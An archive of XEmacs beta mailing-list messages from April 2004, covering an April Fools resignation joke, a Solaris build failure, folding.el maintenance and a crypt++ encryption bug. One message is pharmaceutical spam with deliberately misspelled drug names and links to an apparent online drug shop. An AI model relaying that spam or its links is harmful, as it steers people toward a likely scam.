23:34:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i324Y2s20917; Thu, 1 Apr 2004 23:34:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i324WWQ20567 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 23:32:32 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i324WUI20553 for turnbull@tux.org; Thu, 1 Apr 2004 23:32:30 -0500 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i324WRs20536; Thu, 1 Apr 2004 23:32:28 -0500 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1B9GLx-0007sU-00; Fri, 02 Apr 2004 13:32:25 +0900 To: Jerry James Cc: XEmacs Beta Subject: Re: Resignation Organization: The XEmacs Project References: From: "Stephen J. Turnbull" Date: Fri, 02 Apr 2004 13:32:24 +0900 In-Reply-To: (Jerry James's message of "Thu, 01 Apr 2004 10:50:23 -0600") Message-ID: <87ad1v2e5j.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i324WRs20536 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Jerry" == Jerry James writes: Jerry> With regret, Heh, heh, heh. Jerry> I must offer my resignation from the XEmacs Review Board, Sorry, it's a life sentence. Anyway, by posting that message you just nominated yourself for meta-maintainer. [Steve sez: YES!!] Jerry> and indeed from XEmacs development altogether. That's OK, we haven't had an all-together development session since M17N '99 with the Steve/Martin Show. (Man, what a team that was, with double low posts Bill Perry and Hrvoje Nik¹iæ in the 210cm class, Ben "Flying Fingers" Wing at point guard, and Didier "Quick Release" Verna and "Stig Hackvän" at forward.) I hope you'll continue your efforts in our Distributed Development Department. Jerry> Microsoft Research Huh? Since when does Microsoft have a regular expression product? Jerry> In fact, you all might want to consider joining me in Jerry> making Microsoft Word the next-generation editor. Hey, I was just thinking about that last night: chdir M:\Development deltree "Microsoft Word" cvs -d :pserver:cvs@cvs.xemacs.org:/pack/cvsroot login cvs -d :pserver:cvs@cvs.xemacs.org:/pack/cvsroot checkout -A xemacs ren xemacs "Microsoft Word" chdir "Microsoft Word\modules" cvs -d :pserver:anonymous@wvware.sourceforge.net login cvs -d :pserver:anonymous@wvware.sourceforge.net checkout -A wvware and work from there. Ya think? Jerry> Jerry James, who notes that some people may not understand Jerry> the connection between this message and the date Oh, you remembered my birthday! What a sweet present! When-updating-your-calendar-be-very-careful-to-check-timezones-ly y'rs, Steve -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Thu Apr 1 23:37:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i324b2s21679; Thu, 1 Apr 2004 23:37:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i324aQY21544 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 23:36:26 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i324aMp21530 for turnbull@tux.org; Thu, 1 Apr 2004 23:36:22 -0500 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i324aIs21501; Thu, 1 Apr 2004 23:36:19 -0500 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1B9GPh-0007tz-00; Fri, 02 Apr 2004 13:36:17 +0900 To: Hrvoje Niksic Cc: xemacs-beta@xemacs.org Subject: Re: undefined macro References: <16486.52077.880869.698025@montanaro.dyndns.org> <4qs7mgb4.fsf_-_@smtpmail.t-online.de> <7jwzbjt9.fsf@smtpmail.t-online.de> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Fri, 02 Apr 2004 13:36:17 +0900 In-Reply-To: (Hrvoje Niksic's message of "Thu, 01 Apr 2004 21:33:07 +0200") Message-ID: <874qs32dz2.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> Is there a reason why profile should provide a feature? As long as it's a leaf in the require graph, none that I can think of. Hm. I wonder if there are other libraries that really don't need to provide features. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Fri Apr 2 05:09:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32A92s17902; Fri, 2 Apr 2004 05:09:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32A8dk17821 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 05:08:39 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32A8ct17809 for turnbull@tux.org; Fri, 2 Apr 2004 05:08:38 -0500 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32A8bs17802 for ; Fri, 2 Apr 2004 05:08:37 -0500 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B9LbI-0000uU-00 for ; Fri, 02 Apr 2004 12:08:36 +0200 Received: from a110t7.elisa.omakaista.fi ([81.197.3.110]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 02 Apr 2004 12:08:36 +0200 Received: from jari.aalto by a110t7.elisa.omakaista.fi with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 02 Apr 2004 12:08:36 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Jari Aalto Subject: Re: folding.el -- Please forward bug messages ASAP (I'm back) Date: Fri, 02 Apr 2004 12:20:39 +0200 Organization: Private Lines: 22 Message-ID: <4qs2hea0.fsf@blue.sea.net> References: <7jx0iob7.fsf@blue.sea.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: a110t7.elisa.omakaista.fi User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (windows-nt) (i386-msvc-nt5.0.2195) Cancel-Lock: sha1:Y2JrrNwSAsTcg1BN12o3KFtk9fM= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , * Fri 2004-04-02 Adrian Aichner xemacs.org> gmane.emacs.xemacs.beta | | I'm one of those who have tried to reach you via email many times. | | Would be great if you could apply this patch before your next posting of | "Emacs references and faqs" | | It brings ftp and cvs information for the XEmacs project up-to-date. | | Thanks in advance, Done. I also rearranged the message to more condensed format. Jari -- http://tiny-tools.sourceforge.net/ Swatch @time http://www.mir.com.my/iTime/itime.htm http://www.ryanthiessen.com/swatch/resources.htm Use Licenses! http://www.linuxjournal.com/article.php?sid=6225 Which Licence? http://www.linuxjournal.com/article.php?sid=4825 OSI Licences http://www.opensource.org/licenses/ From xemacs-beta-admin@xemacs.org Fri Apr 2 05:23:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32AN2s21287; Fri, 2 Apr 2004 05:23:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32AM6c21097 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 05:22:06 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32AM4u21088 for turnbull@tux.org; Fri, 2 Apr 2004 05:22:04 -0500 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32AM3s21084 for ; Fri, 2 Apr 2004 05:22:04 -0500 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B9LoJ-00019R-00 for ; Fri, 02 Apr 2004 12:22:03 +0200 Received: from a110t7.elisa.omakaista.fi ([81.197.3.110]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 02 Apr 2004 12:22:03 +0200 Received: from jari.aalto by a110t7.elisa.omakaista.fi with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 02 Apr 2004 12:22:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Jari Aalto Subject: Re: folding.el -- Please forward bug messages ASAP (I'm back) Date: Fri, 02 Apr 2004 12:34:06 +0200 Organization: Private Lines: 47 Message-ID: References: <7jx0iob7.fsf@blue.sea.net> <87d66s3vsr.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: a110t7.elisa.omakaista.fi User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (windows-nt) (i386-msvc-nt5.0.2195) Cancel-Lock: sha1:mDIofi6WMn/PKPYmiOTn0su7CwI= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , * Thu 2004-04-01 Stephen Turnbull xemacs.org> gmane.emacs.xemacs.beta * | >>>>> "Jari" == Jari Aalto poboxes.com> writes: | | Hey, good to see your by-line again! | | Jari> Where there was several bugs mentioned in folding. Could | Jari> someone at give me a briefing and point me to the right | Jari> directions what bugs possibly are waiting for me to get my | Jari> hands in the mud. | | I don't see anything in the last 6 months. This query | | http://list-archive.xemacs.org/cgi-bin/wilma_glimpse/xemacs-beta?query=folding.el&Search=Search&restricttofiles=on&filelist=200306&filelist=200305&filelist=200304&filelist=200303&errors=0&maxfiles=50&maxlines=10&.cgifields=lineonly&.cgifields=restricttofiles&.cgifields=filelist&.cgifields=partial&.cgifields=case | | picks up all the discussion I've seen since a year ago---note it's all | pretty old, going back to spring/summer 2003. thank you. I read them all and there isn't anything waiting. Good. | You might also want to check the xemacs-patches list, searchable at | | http://list-archive.xemacs.org/xemacs-patches/ | | Note that due to limitations of our search engine, you need to | restrict searches to 4 months at a time. Adrian seems to have been busy correcting typos :-) Thank you. Nothing in here either. Even better. | It looks like people are not actually describing the bugs, just trying | to find you. Ok, now ehen I have purchased my own domain and administer my own servers (SMTP, WWW ..) things look bright again. I'm even in a process switching form CVS to subversion and possibly to monotone (See http://www.venge.net/monotone/ ). Arch doesn't intimidate me yet. Jari -- http://tiny-tools.sourceforge.net/ Swatch @time http://www.mir.com.my/iTime/itime.htm http://www.ryanthiessen.com/swatch/resources.htm Use Licenses! http://www.linuxjournal.com/article.php?sid=6225 Which Licence? http://www.linuxjournal.com/article.php?sid=4825 OSI Licences http://www.opensource.org/licenses/ From xemacs-beta-admin@xemacs.org Fri Apr 2 11:21:36 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32GLNs07202; Fri, 2 Apr 2004 11:21:23 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32GJdW06775 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 11:19:39 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32GJcd06764 for turnbull@tux.org; Fri, 2 Apr 2004 11:19:38 -0500 Received: from green.cs.yorku.ca (green.cs.yorku.ca [130.63.92.20]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32GJcs06757 for ; Fri, 2 Apr 2004 11:19:38 -0500 Received: from [130.63.86.107] (hop.cs.yorku.ca) by green.cs.yorku.ca id 14587; Fri, 2 Apr 2004 11:19:37 Date: Fri, 2 Apr 2004 11:19:37 -0500 (EST) From: Jason Keltz To: xemacs-beta@xemacs.org Subject: Xemacs 21.4.15 solaris Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi. I'm compiling Xemacs 21.4.15 on Solaris 8 with gcc 3.3.2. During the make: ./temacs -nd -batch -l /tmp/xemacs-21.4.15/src/../lisp/update-elc.el ld.so.1: ./temacs: fatal: relocation error: file ./temacs: symbol : referenced symbol not found make[1]: *** [update-elc.stamp] Killed make[1]: Leaving directory `/tmp/xemacs-21.4.15/src' make: *** [src] Error 2 Any ideas? Thanks, Jason Keltz jas@cs.yorku.ca From xemacs-beta-admin@xemacs.org Fri Apr 2 11:32:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32GW6s10045; Fri, 2 Apr 2004 11:32:06 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32GVTf09932 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 11:31:29 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32GVRF09919 for turnbull@tux.org; Fri, 2 Apr 2004 11:31:27 -0500 Received: from rent.teradyne.com (rent.teradyne.com [198.51.251.8]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32GVRs09914 for ; Fri, 2 Apr 2004 11:31:27 -0500 Received: from chorus.teradyne.com (chorus.teradyne.com [131.101.1.195]) by rent.teradyne.com (8.8.8+Sun/8.8.8) with ESMTP id LAA01846; Fri, 2 Apr 2004 11:31:26 -0500 (EST) Received: from kiki.icd.teradyne.com (kiki.icd.teradyne.com [131.101.10.126]) by chorus.teradyne.com (8.8.8+Sun/8.7.1) with ESMTP id LAA20561; Fri, 2 Apr 2004 11:31:32 -0500 (EST) Received: from denver.icd.teradyne.com (denver [131.101.18.106]) by kiki.icd.teradyne.com (8.9.3+Sun/8.9.3) with ESMTP id LAA20492; Fri, 2 Apr 2004 11:32:25 -0500 (EST) Received: (from shelton@localhost) by denver.icd.teradyne.com (8.11.6+Sun/8.11.6) id i32GVPb27165; Fri, 2 Apr 2004 11:31:25 -0500 (EST) X-Authentication-Warning: denver.icd.teradyne.com: shelton set sender to acs@xemacs.org using -f To: Jason Keltz Cc: xemacs-beta@xemacs.org Subject: Re: Xemacs 21.4.15 solaris References: From: Vin Shelton Organization: The XEmacs Development Team Date: Fri, 02 Apr 2004 11:31:25 -0500 In-Reply-To: (Jason Keltz's message of "Fri, 2 Apr 2004 11:19:37 -0500 (EST)") Message-ID: <545r7v6tk82.fsf@xemacs.org> Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Jason Keltz writes: > Hi. > I'm compiling Xemacs 21.4.15 on Solaris 8 with gcc 3.3.2. During the > make: > ./temacs -nd -batch -l /tmp/xemacs-21.4.15/src/../lisp/update-elc.el > ld.so.1: ./temacs: fatal: relocation error: file ./temacs: symbol : referenced symbol not found > make[1]: *** [update-elc.stamp] Killed > make[1]: Leaving directory `/tmp/xemacs-21.4.15/src' > make: *** [src] Error 2 > > Any ideas? Can you please post the contents of your Installation file? You aren't using gnu ld from binutils are you, by any chance? This is not a supported configuration. You need to use the Solaris loader. - Vin From xemacs-beta-admin@xemacs.org Fri Apr 2 12:17:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32HH1s20297; Fri, 2 Apr 2004 12:17:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32HG2F20105 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 12:16:02 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32HG2T20096 for turnbull@tux.org; Fri, 2 Apr 2004 12:16:02 -0500 Received: from green.cs.yorku.ca (green.cs.yorku.ca [130.63.92.20]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32HG1s20092; Fri, 2 Apr 2004 12:16:01 -0500 Received: from [130.63.86.107] (hop.cs.yorku.ca) by green.cs.yorku.ca id 6147; Fri, 2 Apr 2004 12:15:59 Date: Fri, 2 Apr 2004 12:15:58 -0500 (EST) From: Jason Keltz To: Vin Shelton cc: xemacs-beta@xemacs.org Subject: Re: Xemacs 21.4.15 solaris In-Reply-To: <545r7v6tk82.fsf@xemacs.org> Message-ID: References: <545r7v6tk82.fsf@xemacs.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Vin, Actually, as it happens, it appears that the problem was my own. I had used a "make -j 5", and the compile had stopped at some point because something that was required had not yet been compiled. I then just did a "make" to continue and everything went along okay. It appears that this ended up breaking something. I did a "make clean" and then a "make", and everything actually compiled okay this time. Strange. Sorry for the silly interruption, and thanks for working on xemacs! Jason. On Fri, 2 Apr 2004, Vin Shelton wrote: > Jason Keltz writes: > > > Hi. > > I'm compiling Xemacs 21.4.15 on Solaris 8 with gcc 3.3.2. During the > > make: > > ./temacs -nd -batch -l /tmp/xemacs-21.4.15/src/../lisp/update-elc.el > > ld.so.1: ./temacs: fatal: relocation error: file ./temacs: symbol : referenced symbol not found > > make[1]: *** [update-elc.stamp] Killed > > make[1]: Leaving directory `/tmp/xemacs-21.4.15/src' > > make: *** [src] Error 2 > > > > Any ideas? > > Can you please post the contents of your Installation file? > > You aren't using gnu ld from binutils are you, by any chance? This is > not a supported configuration. You need to use the Solaris loader. > > - Vin > From xemacs-beta-admin@xemacs.org Fri Apr 2 14:07:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32J71s13104; Fri, 2 Apr 2004 14:07:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32J62F12945 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 14:06:02 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32J61T12936 for turnbull@tux.org; Fri, 2 Apr 2004 14:06:01 -0500 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32J61s12932 for ; Fri, 2 Apr 2004 14:06:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32J5Jw12829 for xemacs-crashes-mailman@xemacs.org; Fri, 2 Apr 2004 14:05:19 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32J5IY12820 for turnbull@tux.org; Fri, 2 Apr 2004 14:05:18 -0500 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32J5Is12815 for ; Fri, 2 Apr 2004 14:05:18 -0500 Received: from ca-valence-3-10.w80-8.abo.wanadoo.fr (ca-valence-3-10.w80-8.abo.wanadoo.fr [80.8.52.10]) by syl.extundo.com (8.12.10/8.12.10) with SMTP id i32JUH63004063 for ; Fri, 2 Apr 2004 21:30:39 +0200 Received: from 61.23.167.0 by 80.8.52.10; Fri, 02 Apr 2004 17:02:54 -0200 Message-ID: From: "Micheal Head" Reply-To: "Micheal Head" To: crashes@xemacs.org Subject: is what crhis said ture? Date: Fri, 02 Apr 2004 18:03:54 -0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--056259505909201" X-Originating-IP: 212.32.189.101 Old-X-XEmacs-List: crashes X-BeenThere: xemacs-crashes@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.8 required=5.0 tests=DCC_CHECK autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ----056259505909201 Content-Type: text/plain; Content-Transfer-Encoding: quoted-printable C=EDalis is known as a Super-V=EDagra or Weekend-V=EDagra because its effects start sooner and last much longer. We have alots of New product Best Prlce on Internet F.a.s.t And F.r.e.e Shlpplng http://losable.medscustomer.com/sv/index.php?pid=3Deph2660 http://medscustomer.com/sv/applepie.php ----056259505909201-- From xemacs-beta-admin@xemacs.org Fri Apr 2 17:23:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32MN2s26372; Fri, 2 Apr 2004 17:23:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32MMXf26285 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 17:22:33 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32MMUT26253 for turnbull@tux.org; Fri, 2 Apr 2004 17:22:30 -0500 Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32MMRs26246; Fri, 2 Apr 2004 17:22:27 -0500 Received: from sfwd01.aul.t-online.de by mailout01.sul.t-online.com with smtp id 1B9X3S-0000Rp-00; Sat, 03 Apr 2004 00:22:26 +0200 Received: from D5DC120J.t-online.de (XVN3kuZSgenbzHEeEzR0sGqT8cCsYBKEcKMeDAgpcNhhOiCdqEoogn@[217.89.7.83]) by afwd01.sul.t-online.com with esmtp id 1B9X3F-06qqYq0; Sat, 3 Apr 2004 00:22:13 +0200 To: karl@freefriends.org (Karl Berry) Cc: Johan Nyberg , adrian@xemacs.org, xemacs-beta@xemacs.org, kb@cs.umb.edu Subject: Re: [johan.nyberg@tsl.uu.se: crypt++ message: gpg: packet with S2K 3 too short] X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B Organization: The XEmacs Project From: Adrian Aichner Date: Sat, 03 Apr 2004 00:23:14 +0200 In-Reply-To: <200404020150.i321o1v26547@f7.net> (Karl Berry's message of "Thu, 1 Apr 2004 20:50:01 -0500") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Seen: false X-ID: XVN3kuZSgenbzHEeEzR0sGqT8cCsYBKEcKMeDAgpcNhhOiCdqEoogn X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Content-Transfer-Encoding: 8bit >>>>> "Karl" == Karl Berry writes: Karl> I received this bug report regarding crypt++.el, but Karl> unfortunately don't know how to help; ironically, I've never Karl> used the encryption/decryption features of crypt++, and Karl> don't use XEmacs either. Can anyone help? (Adrian, I sent Karl> Johan your 'binary suggestion from a few weeks ago.) Thanks for the followup, Karl. The main issue I found was with XEmacs 21.5. See http://list-archive.xemacs.org/xemacs-patches/200403/msg00097.html for my initial analysis. Karl> It would really make sense for some person knowledgeable Karl> about XEmacs to take over crypt++, since XEmacs actually Karl> loads it. Almost all the bug reports I get about it (not Hmmh, does GNU Emacs not use crypt++ at all? Please enlighten me. Best regards, Adrian Karl> that there are that many) are from XEmacs users. Please Karl> ... ? Karl> Thanks, Karl> karl Karl> Date: Thu, 1 Apr 2004 16:00:41 +0200 Karl> From: Johan Nyberg Karl> To: kb@cs.umb.edu Karl> Subject: crypt++ message: gpg: packet with S2K 3 too short Karl> --text follows this line-- Karl> Yo! Karl, Karl> Decrypting a file a.txt.gpg that was encrypted by the shell command Karl> $ gpg -se -r nyberg file.txt Karl> works without problems by using xemacs and crypt++. But I cannot Karl> get encrypting in xemacs using crypt++ to work. Karl> When I save the file from xemacs, and then try to decrypt it from Karl> the shell I get this error: Karl> $ gpg file.txt.gpg Karl> gpg: packet with S2K 3 too short Karl> If I do the same on the original encrypted file (that is the one that Karl> was not saved from xemacs) decrypting works without any problems. Karl> I am probably doing something stupidly wrong and hope you can help Karl> me with this problem... Karl> Johan Nyberg Karl> ------ Karl> Emacs : XEmacs 21.4 (patch 14) "Reasonable Discussion" [Lucid] (i386-mandrake-linux) of Mon Jan 26 2004 on ke.mandrakesoft.com Karl> Package: crypt++.el 2.92 Karl> current state: Karl> ============== Karl> (setq Karl> shell-file-name "/bin/bash" Karl> load-path '("/usr/share/xemacs/" "/usr/share/xemacs/site-lisp/" Karl> "/usr/share/xemacs/xemacs-packages/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ada/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/apel/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/auctex/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/bbdb/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/build/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/c-support/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/calc/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/calendar/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/cc-mode/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/clearcase/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/cookie/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/crisp/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/debug/" Karl> 